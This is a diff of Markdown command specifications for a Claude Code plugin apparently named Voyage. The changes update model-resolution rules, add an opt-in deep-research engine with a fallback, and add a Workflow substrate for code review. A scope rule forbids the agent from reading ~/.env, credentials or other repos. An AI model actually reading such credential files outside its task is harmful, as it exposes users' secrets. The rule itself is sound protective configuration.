@ -876,7 +824,7 @@ Never let tracking failures block the main workflow.
|
|||
|
||||
## Profile (v4.1)
|
||||
|
||||
Accepts `--profile <name>` where `<name>` is `economy`, `balanced`, `premium`,
|
||||
Accepts `--profile <name>` where `<name>` is `economy`, `balanced`, `premium`, `fable`,
|
||||
or a custom profile under `voyage-profiles/`. Default: `premium`.
|
||||
|
||||
Resolution order (per `lib/profiles/resolver.mjs`):
|
||||
|
|
@ -911,13 +859,15 @@ model_for_phase = brief.phase_signals[<phase>]?.model ?? profile.phase_models[
|
|||
```
|
||||
|
||||
The brief signal wins per-phase when present; the profile fills any
|
||||
gaps. Composition is mechanically resolved via
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/phase-signal-resolver.mjs`
|
||||
invoked in Phase 1; the resolved JSON is captured as `phase_signal_result`
|
||||
and passed to `Agent` tool calls explicitly. The resolver controls only
|
||||
the orchestrator and the model parameter at Agent-spawn sites — sub-agents
|
||||
otherwise read `model:` from their own `agents/*.md` frontmatter (still
|
||||
pinned to `opus`).
|
||||
gaps. Both fields are mechanically resolved by the single composed CLI
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/resolver.mjs --resolve-phase-model`
|
||||
invoked in Phase 1; the resolved JSON `{effort, model, source}` is captured
|
||||
as `phase_signal_result` and passed to `Agent` tool calls explicitly. The
|
||||
resolver controls the `model` parameter at Agent-spawn sites only — the
|
||||
orchestrator's own model is fixed at invocation time (command frontmatter
|
||||
omits `model:`, so it follows the session model) and cannot be switched
|
||||
mid-turn. Sub-agents fall back to `model:` in their own `agents/*.md`
|
||||
frontmatter when no spawn-site injection happens.
|
||||
|
||||
For `/trekplan` specifically: `effort == 'low'` activates the existing
|
||||
`--quick`-equivalent code-path (skip Phase 5 agent swarm — plan directly
|
||||
|
|
@ -962,10 +912,11 @@ Standard and low effort: do NOT run the additional pass.
|
|||
inadequate, stop and ask the user to run `/trekbrief` again.
|
||||
- **Scope**: Only explore the current working directory and its subdirectories.
|
||||
Never read files outside the repo (no ~/.env, no credentials, no other repos).
|
||||
- **Cost**: Sub-agents use their pinned `model:` frontmatter (currently `opus`).
|
||||
When `phase_signals[<phase>].model` is set, the orchestrator AND Agent-spawn
|
||||
sites use the resolved model (`phase_signal_result.model`) for that phase.
|
||||
Frontmatter is the default; brief signal is the per-phase override.
|
||||
- **Cost**: Model resolution at Agent-spawn sites is a three-layer fallback:
|
||||
brief `phase_signals[<phase>].model` > `profile.phase_models[<phase>]` >
|
||||
agent frontmatter `model:`. The composed resolver returns the first two
|
||||
layers as `phase_signal_result.model`; spawn sites inject it, and agent
|
||||
frontmatter is the fallback when no injection happens.
|
||||
- **Privacy**: Never log, store, or repeat file contents that look like
|
||||
secrets, tokens, or credentials. Never log prompt text.
|
||||
- **No premature execution**: Do not modify any project files until the user
|
||||
|
|
|
|||
|
|
@ -1,8 +1,7 @@
|
|||
---
|
||||
name: trekresearch
|
||||
description: Deep research combining local codebase analysis with external knowledge, producing structured research briefs with triangulation and confidence ratings
|
||||
argument-hint: "[--project <dir>] [--quick | --local | --external | --fg] <research question>"
|
||||
model: opus
|
||||
argument-hint: "[--project <dir>] [--quick | --local | --external | --fg] [--engine swarm|deep-research] <research question>"
|
||||
allowed-tools: Agent, Read, Glob, Grep, Write, Edit, Bash, AskUserQuestion, WebSearch, WebFetch, mcp__tavily__tavily_search, mcp__tavily__tavily_research
|
||||
---
|
||||
|
||||
|
|
@ -55,13 +54,18 @@ Supported flags:
|
|||
Create `{dir}/research/` if it does not already exist.
|
||||
|
||||
When `{dir}/brief.md` exists, ALWAYS run the brief-validator (soft mode)
|
||||
AND the phase-signal-resolver for this command's phase before continuing.
|
||||
The resolver's JSON output is captured as `phase_signal_result` and used
|
||||
at Agent-spawn sites in Phase 4 to inject the brief-resolved model:
|
||||
AND the composed phase-model resolver for this command's phase before
|
||||
continuing. The resolver's JSON output `{effort, model, source}`
|
||||
(brief signal > profile > default) is captured as `phase_signal_result`
|
||||
and used at Agent-spawn sites in Phase 4 to inject the resolved model:
|
||||
|
||||
```bash
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/brief-validator.mjs --soft --json "{dir}/brief.md"
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/phase-signal-resolver.mjs --brief "{dir}/brief.md" --phase research --json
|
||||
# When --min-brief-version was passed, append --min-version {min_brief_version}
|
||||
# so an older brief raises BRIEF_VERSION_BELOW_MINIMUM (warn, never block).
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/brief-validator.mjs --soft --json [--min-version {min_brief_version}] "{dir}/brief.md"
|
||||
# v5.9 — composed resolver: ONE call returns {effort, model, source}.
|
||||
# Append --profile {profile} when the operator passed --profile.
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/resolver.mjs --resolve-phase-model --phase research --brief-path "{dir}/brief.md" [--profile {profile}] --json
|
||||
```
|
||||
|
||||
6. `--gates` — autonomy control. When present, set `gates_mode = true`. The
|
||||
|
|
@ -71,6 +75,23 @@ Supported flags:
|
|||
state machine via the CLI shim:
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/util/autonomy-gate.mjs --state X --event Y --gates {true|false}`.
|
||||
|
||||
7. `--min-brief-version <ver>` — (optional) version floor for an attached
|
||||
`--project` brief. Set **min_brief_version = {ver}** (e.g. `2.2`). Forwarded
|
||||
to the brief-validator below as `--min-version {ver}`; an older brief emits a
|
||||
`BRIEF_VERSION_BELOW_MINIMUM` **warning** (never blocks) because framing
|
||||
enforcement only fires at `≥ 2.2`. Absent → no version check. See
|
||||
`docs/HANDOVER-CONTRACTS.md` §Handover 1 for the pre-2.2 enforcement hole.
|
||||
|
||||
8. `--engine <name>` — opt-in external-research engine. Accepts `--engine <name>`
|
||||
where `<name>` is `swarm` or `deep-research`. **Default: `swarm`** (unchanged
|
||||
behavior). `swarm` runs Voyage's own external-research agent swarm;
|
||||
`deep-research` delegates the external phase to Claude Code's built-in
|
||||
`/deep-research` dynamic workflow and adapts its report into the research-brief
|
||||
schema (requires Claude Code 2.1.154+ and dynamic workflows enabled; falls back
|
||||
to `swarm` and notes the fallback if unavailable — never hard-fails). Orthogonal
|
||||
to `--profile`/`phase_signals`; only affects the external phase. Set
|
||||
**engine = {swarm|deep-research}** (the *requested* engine).
|
||||
|
||||
Flags can be combined:
|
||||
- `--local` — local-only research
|
||||
- `--external --quick` — external-only, lightweight
|
||||
|
|
@ -78,7 +99,7 @@ Flags can be combined:
|
|||
- `--quick` alone implies both local and external (lightweight)
|
||||
|
||||
Defaults: **scope = both**, **execution = foreground** (only mode as of
|
||||
v2.4.0), **project_dir = none**.
|
||||
v2.4.0), **project_dir = none**, **engine = swarm**.
|
||||
|
||||
After stripping flags, the remaining text is the **research question**.
|
||||
|
||||
|
|
@ -99,6 +120,7 @@ Modes:
|
|||
--external Only external research agents (skip codebase analysis)
|
||||
--fg No-op alias (foreground is the only mode as of v2.4.0)
|
||||
--project Write brief into an trekbrief project folder (auto-indexed)
|
||||
--engine Opt-in external-research engine: swarm (default) | deep-research
|
||||
|
||||
Flags can be combined: --local, --external --quick, --project <dir> --external
|
||||
|
||||
|
|
@ -109,6 +131,7 @@ Examples:
|
|||
/trekresearch --external What are the security implications of using Redis for sessions?
|
||||
/trekresearch --fg --local What patterns does this codebase use for database access?
|
||||
/trekresearch --project .claude/projects/2026-04-18-jwt-auth --external What JWT library is best for Node.js?
|
||||
/trekresearch --project <dir> --external --engine deep-research <research question>
|
||||
```
|
||||
|
||||
Do not continue past this step if no question was provided.
|
||||
|
|
@ -117,6 +140,7 @@ Report the detected mode:
|
|||
```
|
||||
Mode: {default | quick}, Scope: {both | local | external}, Execution: foreground
|
||||
Project: {project_dir or "-"}
|
||||
Engine (requested): {swarm | deep-research}
|
||||
Question: {research question}
|
||||
```
|
||||
|
||||
|
|
@ -206,14 +230,18 @@ Research pipeline running in foreground.
|
|||
|
||||
Then continue to the next phase inline.
|
||||
|
||||
> **Why foreground?** As of v2.4.0 the research-orchestrator is no longer
|
||||
> spawned as a background agent. The Claude Code harness does not expose the
|
||||
> Agent tool to sub-agents, so an orchestrator launched with
|
||||
> `run_in_background: true` cannot spawn the documented research swarm
|
||||
> (`docs-researcher`, `community-researcher`, etc.) and silently degrades to
|
||||
> single-context reasoning without WebSearch / Tavily / WebFetch / Gemini.
|
||||
> Running the phases inline in main context keeps the swarm intact. Use
|
||||
> `claude -p` in a separate terminal window for long-running headless work.
|
||||
> **Why foreground (for now)?** The research-orchestrator was moved out of
|
||||
> background mode in v2.4.0 because, before Claude Code 2.1.172, the harness
|
||||
> did not expose the Agent tool to sub-agents, so an orchestrator launched
|
||||
> with `run_in_background: true` could not spawn the documented research
|
||||
> swarm (`docs-researcher`, `community-researcher`, etc.) and silently
|
||||
> degraded to single-context reasoning without WebSearch / Tavily / WebFetch
|
||||
> / Gemini. As of CC 2.1.172 sub-agents can spawn sub-agents (up to 5 levels
|
||||
> deep), so that block no longer holds — a delegated redesign is under
|
||||
> evaluation (see `docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26).
|
||||
> Until then, running the phases inline in main context keeps the swarm
|
||||
> intact. Use `claude -p` in a separate terminal window for long-running
|
||||
> headless work.
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -279,6 +307,63 @@ For each local agent, prompt with the research question, NOT a task description:
|
|||
- convention-scanner: "Discover coding conventions relevant to evaluating {question}.
|
||||
What patterns would a solution need to follow?"
|
||||
|
||||
### Engine selection (scope = both or external)
|
||||
|
||||
`--engine` affects ONLY the external portion of research. The local agents
|
||||
(`### Local agents` above) and Phases 6–7 (triangulation, synthesis, brief
|
||||
writing) are **engine-agnostic** — they run identically regardless of engine.
|
||||
|
||||
`--engine` is **moot** (treated as `swarm`) whenever the external phase does not
|
||||
run at all: `--local`, `--quick`, `effort == 'low'`, or a profile with
|
||||
`external_research_enabled == false` (the `economy`/`balanced` auto-disable — see
|
||||
Profile below). The profile's on/off switch wins. Initialize
|
||||
`effective_engine = {requested engine}`.
|
||||
|
||||
**engine = swarm (default):** run the `### External agents` + `### Bridge agent`
|
||||
blocks below unchanged. This is byte-for-byte the current path, so `--engine swarm`
|
||||
changes nothing (SC1). Keep the native-swarm anchors intact ("in parallel",
|
||||
"single message", `model: "opus"`).
|
||||
|
||||
**engine = deep-research:**
|
||||
|
||||
1. **Coarse pre-gate (best-effort, NOT a trust signal).** `Bash: claude --version`;
|
||||
parse the leading `X.Y.Z` (e.g. from `2.1.196 (Claude Code)`) and compare
|
||||
numerically against `2.1.154` — split each on `.` and compare major, then minor,
|
||||
then patch as integers (do NOT string-compare; lexical comparison mis-orders
|
||||
multi-digit patch numbers). If the version is `< 2.1.154`, OR if
|
||||
`disableWorkflows: true` / `CLAUDE_CODE_DISABLE_WORKFLOWS=1` is set, skip to the
|
||||
fallback (step 4). **If `claude` is not on PATH inside the Bash tool (possible
|
||||
under `claude -p`) or the version cannot be parsed, treat the pre-gate as
|
||||
*indeterminate* and proceed to step 2 — do NOT hard-fail.** There is no positive
|
||||
availability probe (research Dim 4), so a passing pre-gate does not guarantee the
|
||||
workflow runs; the post-hoc check (step 3) is the authoritative guard.
|
||||
|
||||
2. **Run.** Instruct Claude (in prose, this turn) to run
|
||||
`/deep-research <research question>` and request per-claim citations. Note:
|
||||
interactive default/acceptEdits triggers a per-run approval prompt; `claude -p` /
|
||||
SDK / bypass runs immediately.
|
||||
|
||||
3. **Post-hoc presence + provenance check (the real guard).** Verify a real, cited
|
||||
`/deep-research` report actually landed in context — substantive findings with
|
||||
citations, not an empty/denied/errored turn and not bare error text. This check
|
||||
must be **robust to all failure manifestations** (workflow disabled, approval
|
||||
denied, runtime error, empty output), because the disabled-headless behavior is
|
||||
undocumented: no recognizable cited report in context → fall back, regardless of
|
||||
how the failure surfaces.
|
||||
|
||||
4. **On no real report (fallback):** set `effective_engine = swarm`, run the swarm
|
||||
blocks below, and **log the fallback at this decision point** — print
|
||||
`Engine: deep-research → swarm (fallback: <reason>)` and carry the reason into the
|
||||
Phase-8 Present summary and the brief's `## Executive Summary`. **NEVER fabricate
|
||||
or synthesize a substitute report** — a structurally-valid-but-invented brief
|
||||
passes the structure-only validator and silently poisons `/trekplan`; that is the
|
||||
worst outcome of this feature.
|
||||
|
||||
5. **On a real report:** keep `effective_engine = deep-research`, log
|
||||
`Engine: deep-research (active)`, and carry the report into Phase 6 triangulation
|
||||
as the external-findings input (adapted in Phase 7 — see the Deep-research engine
|
||||
adapter below).
|
||||
|
||||
### External agents (scope = both or external)
|
||||
|
||||
Launch the new research-specialized agents:
|
||||
|
|
@ -360,6 +445,45 @@ Write the brief to the `brief_destination` computed in Phase 1:
|
|||
|
||||
Create the parent directory if it does not exist.
|
||||
|
||||
### Deep-research engine adapter (engine = deep-research only)
|
||||
|
||||
**Only when `effective_engine == deep-research`.** The swarm path skips this
|
||||
entirely — its findings already flow through Phases 6–7 unchanged (SC1).
|
||||
|
||||
Transform the in-context `/deep-research` report INTO
|
||||
`@${CLAUDE_PLUGIN_ROOT}/templates/research-brief-template.md` — do NOT paste the
|
||||
raw report. Specifically:
|
||||
|
||||
- Reduce the report to ≥ 1 `### {Dimension} -- Confidence: {high|medium|low}`
|
||||
entry, each carrying **External findings** bullets with per-claim source URLs.
|
||||
Local findings still come from the local agents (Phase 4) and are merged in per
|
||||
dimension as usual.
|
||||
- Emit a numeric `confidence ∈ [0,1]` in frontmatter and a 3-sentence
|
||||
`## Executive Summary` (answer, confidence, key caveat).
|
||||
- Populate `## Sources` from the report's citations.
|
||||
- **If the report lacks per-claim URLs, lower the confidence and note the gap in
|
||||
`## Open Questions` — do NOT fabricate URLs.** Provenance you cannot cite is not
|
||||
provenance.
|
||||
- If the report is large, bound the transform to the top dimensions to avoid
|
||||
context truncation.
|
||||
|
||||
### Output self-check (engine = deep-research only)
|
||||
|
||||
**Only when `effective_engine == deep-research`.** After writing to
|
||||
`brief_destination`, run the output validator and repair-or-fall-back. This mirrors
|
||||
the trekplan Phase-8 write→validate→repair self-check; the swarm path does NOT run
|
||||
it, so swarm behavior is unchanged (SC1):
|
||||
|
||||
```bash
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/research-validator.mjs --json "{brief_destination}"
|
||||
```
|
||||
|
||||
On `valid: false`, repair the brief to satisfy the reported errors and re-run the
|
||||
validator. If it cannot be made valid (e.g. the report was too thin to yield even
|
||||
one dimension), set `effective_engine = swarm`, fall back to the swarm engine for
|
||||
this run (and log the fallback per the Engine selection step), rather than emit an
|
||||
invalid brief.
|
||||
|
||||
## Phase 8 — Present and track
|
||||
|
||||
Present a summary to the user:
|
||||
|
|
@ -371,6 +495,7 @@ Present a summary to the user:
|
|||
**Mode:** {default | quick}, Scope: {both | local | external}
|
||||
**Brief:** {brief_destination}
|
||||
**Project:** {project_dir or "-"}
|
||||
**Engine (effective):** {swarm | deep-research}{, with fallback reason if it fell back}
|
||||
**Confidence:** {overall confidence 0.0-1.0}
|
||||
**Dimensions:** {N} researched
|
||||
**Agents:** {N} local + {N} external + {gemini: used | unavailable | skipped}
|
||||
|
|
@ -405,6 +530,7 @@ Record format (one JSON line):
|
|||
"question": "{research question (first 100 chars)}",
|
||||
"mode": "{default|quick}",
|
||||
"scope": "{both|local|external}",
|
||||
"engine": "{effective engine: swarm|deep-research}",
|
||||
"slug": "{brief slug}",
|
||||
"project_dir": "{project_dir or null}",
|
||||
"brief_path": "{brief_destination}",
|
||||
|
|
@ -422,7 +548,7 @@ If `${CLAUDE_PLUGIN_DATA}` is not set or not writable, skip tracking silently.
|
|||
|
||||
## Profile (v4.1)
|
||||
|
||||
Accepts `--profile <name>` where `<name>` is `economy`, `balanced`, `premium`,
|
||||
Accepts `--profile <name>` where `<name>` is `economy`, `balanced`, `premium`, `fable`,
|
||||
or a custom profile under `voyage-profiles/`. Default: `premium`.
|
||||
|
||||
Resolution order (per `lib/profiles/resolver.mjs`):
|
||||
|
|
@ -442,8 +568,8 @@ VOYAGE_PROFILE=balanced /trekresearch
|
|||
```
|
||||
|
||||
Stats records emit `profile`, `phase_models`, `parallel_agents`,
|
||||
`external_research_enabled`, and `profile_source` so operators can audit
|
||||
which profile drove which session.
|
||||
`external_research_enabled`, `profile_source`, and `engine` so operators can
|
||||
audit which profile and engine drove which session.
|
||||
|
||||
## Composition rule (v5.1)
|
||||
|
||||
|
|
@ -457,13 +583,15 @@ model_for_phase = brief.phase_signals[<phase>]?.model ?? profile.phase_models[
|
|||
```
|
||||
|
||||
The brief signal wins per-phase when present; the profile fills any
|
||||
gaps. Composition is mechanically resolved via
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/phase-signal-resolver.mjs`
|
||||
invoked in Phase 1; the resolved JSON is captured as `phase_signal_result`
|
||||
and passed to `Agent` tool calls explicitly. The resolver controls only
|
||||
the orchestrator and the model parameter at Agent-spawn sites — sub-agents
|
||||
otherwise read `model:` from their own `agents/*.md` frontmatter (still
|
||||
pinned to `opus`).
|
||||
gaps. Both fields are mechanically resolved by the single composed CLI
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/resolver.mjs --resolve-phase-model`
|
||||
invoked in Phase 1; the resolved JSON `{effort, model, source}` is captured
|
||||
as `phase_signal_result` and passed to `Agent` tool calls explicitly. The
|
||||
resolver controls the `model` parameter at Agent-spawn sites only — the
|
||||
orchestrator's own model is fixed at invocation time (command frontmatter
|
||||
omits `model:`, so it follows the session model) and cannot be switched
|
||||
mid-turn. Sub-agents fall back to `model:` in their own `agents/*.md`
|
||||
frontmatter when no spawn-site injection happens.
|
||||
|
||||
For `/trekresearch` specifically: `effort == 'low'` activates the
|
||||
existing `--quick`-equivalent code-path (inline research, no agent swarm).
|
||||
|
|
@ -508,10 +636,11 @@ Low effort: inline research only, no agent swarm (existing
|
|||
Triangulate AFTER independent research.
|
||||
- **Graceful degradation:** If MCP tools are unavailable (Tavily, Gemini, MS Learn),
|
||||
proceed with available tools and note limitations in brief metadata.
|
||||
- **Cost:** Sub-agents use their pinned `model:` frontmatter (currently `opus`).
|
||||
When `phase_signals[<phase>].model` is set, the orchestrator AND Agent-spawn
|
||||
sites use the resolved model (`phase_signal_result.model`) for that phase.
|
||||
Frontmatter is the default; brief signal is the per-phase override.
|
||||
- **Cost:** Model resolution at Agent-spawn sites is a three-layer fallback:
|
||||
brief `phase_signals[<phase>].model` > `profile.phase_models[<phase>]` >
|
||||
agent frontmatter `model:`. The composed resolver returns the first two
|
||||
layers as `phase_signal_result.model`; spawn sites inject it, and agent
|
||||
frontmatter is the fallback when no injection happens.
|
||||
- **Privacy:** Never log secrets, tokens, or credentials.
|
||||
- **Honesty:** If the question is trivially answerable, say so. Don't inflate research.
|
||||
- **Scope of codebase:** Only analyze the current working directory for local research.
|
||||
|
|
|
|||
|
|
@ -5,7 +5,6 @@ description: |
|
|||
review.md with severity-tagged findings (BLOCKER/MAJOR/MINOR/SUGGESTION)
|
||||
per Handover 6 (review → plan).
|
||||
argument-hint: "--project <dir> [--since <ref>] [--quick] [--validate] [--dry-run]"
|
||||
model: opus
|
||||
allowed-tools: Agent, Read, Glob, Grep, Write, Edit, Bash, AskUserQuestion
|
||||
---
|
||||
|
||||
|
|
@ -52,6 +51,7 @@ FLAG_SCHEMA `trekreview` entry):
|
|||
| `--validate` | boolean | Schema-only check on existing `{project_dir}/review.md`. No LLM calls. |
|
||||
| `--dry-run` | boolean | Print the discovered scope and triage map. Skip writes. |
|
||||
| `--fg` | boolean | No-op alias (foreground is default). |
|
||||
| `--workflow` | boolean | **(opt-in, NW2)** Run Phase 5–6 on the bake-off-validated Workflow substrate (`scripts/trekreview-armB.workflow.mjs`) instead of the default prose Agent-tool path. Requires **Claude Code 2.1.154+**. Combines with `--quick`. See *§ Phase 5–6 via the Workflow substrate*. |
|
||||
|
||||
Resolution:
|
||||
1. If `--project` is missing, print usage and stop:
|
||||
|
|
@ -75,6 +75,13 @@ Set `mode`:
|
|||
- `quick` if `--quick` is set.
|
||||
- `default` otherwise.
|
||||
|
||||
Set `workflow_substrate` (orthogonal to `mode` — a substrate choice, not a behavior mode):
|
||||
- `true` if `--workflow` is set — Phase 5–6 run on the Workflow substrate (see the Phase 5
|
||||
routing gate). The Workflow tool requires **Claude Code 2.1.154+**; if it is unavailable,
|
||||
fall back to the prose path and note the fallback in the Executive Summary.
|
||||
- `false` otherwise. **Default stays prose**: the substrate is opt-in, so the lower
|
||||
portability floor of the prose path is preserved unless the operator opts in.
|
||||
|
||||
## Phase 2 — Validate brief
|
||||
|
||||
Run the brief validator in soft mode — the brief is upstream context, not
|
||||
|
|
@ -84,10 +91,12 @@ as the file is parseable:
|
|||
```bash
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/brief-validator.mjs --soft --json "{brief_path}"
|
||||
|
||||
# v5.1.1 — resolve the review-phase brief signal. The JSON is captured as
|
||||
# v5.9 — composed phase-model resolution (brief > profile > default) for the
|
||||
# review phase. ONE call returns {effort, model, source}; captured as
|
||||
# phase_signal_result and used in Phase 7 at the reviewer-launch site to
|
||||
# inject the brief-resolved model.
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/phase-signal-resolver.mjs --brief "{brief_path}" --phase review --json
|
||||
# inject the resolved model. Append --profile {profile} when the operator
|
||||
# passed --profile.
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/resolver.mjs --resolve-phase-model --phase review --brief-path "{brief_path}" [--profile {profile}] --json
|
||||
```
|
||||
|
||||
Read the JSON output. If `valid: false` AND any error has code
|
||||
|
|
@ -181,6 +190,12 @@ If `mode == dry-run`: print the triage map and exit.
|
|||
|
||||
## Phase 5 — Launch parallel reviewers
|
||||
|
||||
**Substrate routing (opt-in `--workflow`).** When `workflow_substrate == true`, run
|
||||
Phases 5–6 via the Workflow substrate documented in *§ Phase 5–6 via the Workflow
|
||||
substrate* (below Phase 6), then resume at Phase 7 with the returned
|
||||
`{verdict, findings}`. When `false` (the default), run the prose Agent-tool path
|
||||
described in the rest of this phase.
|
||||
|
||||
Launch two reviewer agents **in parallel** via the Agent tool — one
|
||||
message, multiple tool calls.
|
||||
|
||||
|
|
@ -199,9 +214,25 @@ Each reviewer prompt includes:
|
|||
- **Brief path** — `{brief_path}` (read on demand; do not inline).
|
||||
- **Rule catalogue** — reference to `lib/review/rule-catalogue.mjs`.
|
||||
|
||||
Collect each reviewer's trailing JSON block (last fenced `json` block in
|
||||
their output). Parse with `JSON.parse()`. On parse error, ask the agent
|
||||
to re-emit the JSON only.
|
||||
Collect each reviewer's trailing JSON block and **validate it against the
|
||||
reviewer-output schema** rather than merely parsing it. Run:
|
||||
|
||||
```bash
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/review/findings-schema.mjs --json <reviewer-output-file>
|
||||
```
|
||||
|
||||
`validateReviewerOutput` in `lib/review/findings-schema.mjs` extracts the
|
||||
last fenced `json` block, parses it, and schema-checks every finding
|
||||
(load-bearing fields: `file`, `rule_key` ∈ catalogue, `severity` ∈ enum,
|
||||
`line` integer ≥ 0). Parse failure and schema failure surface through the
|
||||
same stable error codes (`FINDINGS_NO_JSON_BLOCK`, `FINDINGS_PARSE_ERROR`,
|
||||
`FINDING_*`).
|
||||
|
||||
On any failure, re-ask **that reviewer** to re-emit a conforming JSON
|
||||
block only — quote the reported error codes/locations so the fix is
|
||||
targeted. **Bounded retries: N=2.** If the output still fails after 2
|
||||
re-asks, stop and report which reviewer produced non-conforming output;
|
||||
do not feed unvalidated findings to the coordinator.
|
||||
|
||||
In `quick` mode, launch only `code-correctness-reviewer`. The Executive
|
||||
Summary will note the brief-conformance pass was skipped.
|
||||
|
|
@ -224,6 +255,54 @@ The coordinator's output is the full review.md content — frontmatter +
|
|||
body sections + trailing JSON block. Do NOT re-run the reviewers based
|
||||
on the coordinator's output.
|
||||
|
||||
## Phase 5–6 via the Workflow substrate (opt-in `--workflow`)
|
||||
|
||||
Runs **only** when `workflow_substrate == true`. This is the **NW2 port**: it expresses
|
||||
the SAME Phase 5–6 pipeline (parallel reviewers → triplet-dedup → coordinator verdict) as
|
||||
a single Workflow, reusing the NW1 findings schema. The S10 bake-off found it
|
||||
**fidelity-equivalent** to the prose path — see `docs/T2-bakeoff-results.md` (verdict
|
||||
**POSITIVE**: verdict-match 1.0, issue-coverage 100%, `(file,rule_key)` jaccard ≥
|
||||
within-arm, tokens +4.4%). It stays **opt-in**, not the default, because the Workflow tool
|
||||
raises the consumer floor to **Claude Code 2.1.154+** (outward-facing; the prose path
|
||||
keeps the lower floor).
|
||||
|
||||
Invoke the port via the **Workflow** tool with the Phase 1–4 output pinned into `args`:
|
||||
|
||||
```
|
||||
Workflow({
|
||||
scriptPath: "${CLAUDE_PLUGIN_ROOT}/scripts/trekreview-armB.workflow.mjs",
|
||||
args: {
|
||||
briefPath: "{brief_path}",
|
||||
diffPath: "{path to the unified diff file from Phase 3}",
|
||||
triage: "{triage map as 'path → treatment' lines from Phase 4}",
|
||||
quick: {true if mode == quick, else false}
|
||||
}
|
||||
})
|
||||
```
|
||||
|
||||
Contract (verified in S10 part B — follow exactly):
|
||||
- **Pass `args` as a JSON object.** The script defensively re-parses a JSON *string*, but
|
||||
the object form is the contract.
|
||||
- **Reviewers are `StructuredOutput`-schema-forced** — `rule_key` is enum-enforced at the
|
||||
tool layer (stronger than the prose path's post-hoc NW1 check), so there is no
|
||||
`JSON.parse`/re-ask dance.
|
||||
- **Recover the result from the `RESULT_JSON:{…}` line** inside the workflow output logs.
|
||||
The script returns `{verdict, findings, ...}` AND logs it as that line; the
|
||||
notification's `<result>` may be truncated, so parse the logged line.
|
||||
- The reviewer/coordinator agentTypes are namespaced inside the script
|
||||
(`voyage:brief-conformance-reviewer`, `voyage:code-correctness-reviewer`,
|
||||
`voyage:review-coordinator`).
|
||||
|
||||
Then continue at **Phase 7** exactly as the prose path does — Phase 7 rendering, Phase 8
|
||||
validation, and the operator gate are **shared** and substrate-independent (both paths
|
||||
return the same `{verdict, findings}` shape).
|
||||
|
||||
**Known limitation (per bake-off §Posture, surfaced not hidden).** Classifier interference
|
||||
was measured **0** at 9-agent concurrency in the session's default permission mode; an
|
||||
explicit `auto`/`bypass`-mode re-run was not performed (the permission mode is operator-set,
|
||||
not settable from within a session). trekreview's small fan-out showed 0 interference in S8
|
||||
and S10. The large fan-out case (the trekplan swarm) is out of NW2 scope.
|
||||
|
||||
## Phase 7 — Write review.md
|
||||
|
||||
Write the coordinator's output verbatim to:
|
||||
|
|
@ -342,7 +421,7 @@ the contract for that handover (see `docs/HANDOVER-CONTRACTS.md`).
|
|||
|
||||
## Profile (v4.1)
|
||||
|
||||
Accepts `--profile <name>` where `<name>` is `economy`, `balanced`, `premium`,
|
||||
Accepts `--profile <name>` where `<name>` is `economy`, `balanced`, `premium`, `fable`,
|
||||
or a custom profile under `voyage-profiles/`. Default: `premium`.
|
||||
|
||||
Resolution order (per `lib/profiles/resolver.mjs`):
|
||||
|
|
@ -374,13 +453,15 @@ model_for_phase = brief.phase_signals[<phase>]?.model ?? profile.phase_models[
|
|||
```
|
||||
|
||||
The brief signal wins per-phase when present; the profile fills any
|
||||
gaps. Composition is mechanically resolved via
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/phase-signal-resolver.mjs`
|
||||
invoked in Phase 2; the resolved JSON is captured as `phase_signal_result`
|
||||
and passed to `Agent` tool calls explicitly. The resolver controls only
|
||||
the orchestrator and the model parameter at Agent-spawn sites — sub-agents
|
||||
otherwise read `model:` from their own `agents/*.md` frontmatter (still
|
||||
pinned to `opus`).
|
||||
gaps. Both fields are mechanically resolved by the single composed CLI
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/resolver.mjs --resolve-phase-model`
|
||||
invoked in Phase 2; the resolved JSON `{effort, model, source}` is captured
|
||||
as `phase_signal_result` and passed to `Agent` tool calls explicitly. The
|
||||
resolver controls the `model` parameter at Agent-spawn sites only — the
|
||||
orchestrator's own model is fixed at invocation time (command frontmatter
|
||||
omits `model:`, so it follows the session model) and cannot be switched
|
||||
mid-turn. Sub-agents fall back to `model:` in their own `agents/*.md`
|
||||
frontmatter when no spawn-site injection happens.
|
||||
|
||||
For `/trekreview` specifically: `effort == 'low'` activates the existing
|
||||
`--quick`-equivalent code-path (skip the brief-conformance reviewer; run
|
||||
|
|
@ -437,10 +518,11 @@ Low effort: skip the brief-conformance reviewer entirely (existing
|
|||
`findings:\n - a\n - b`.
|
||||
- **Refuse-with-suggestion above 100 files / 100K tokens.** Never run
|
||||
blind on a giant diff. Use AskUserQuestion to surface the gate.
|
||||
- **Cost.** Sub-agents use their pinned `model:` frontmatter (currently `opus`).
|
||||
When `phase_signals[<phase>].model` is set, the orchestrator AND Agent-spawn
|
||||
sites use the resolved model (`phase_signal_result.model`) for that phase.
|
||||
Frontmatter is the default; brief signal is the per-phase override.
|
||||
- **Cost.** Model resolution at Agent-spawn sites is a three-layer fallback:
|
||||
brief `phase_signals[<phase>].model` > `profile.phase_models[<phase>]` >
|
||||
agent frontmatter `model:`. The composed resolver returns the first two
|
||||
layers as `phase_signal_result.model`; spawn sites inject it, and agent
|
||||
frontmatter is the fallback when no injection happens.
|
||||
- **Privacy.** Never log secrets, tokens, or credentials in review.md.
|
||||
Findings citing files with secret-like content must redact the secret
|
||||
in the `detail` field.
|
||||
|
|
|
|||
|
|
@ -10,9 +10,9 @@ Each artifact carries an explicit version field. Schema bumps are coordinated:
|
|||
|
||||
| Artifact | Field | Current |
|
||||
|---|---|---|
|
||||
| `brief.md` | `brief_version` (frontmatter) | `2.1` |
|
||||
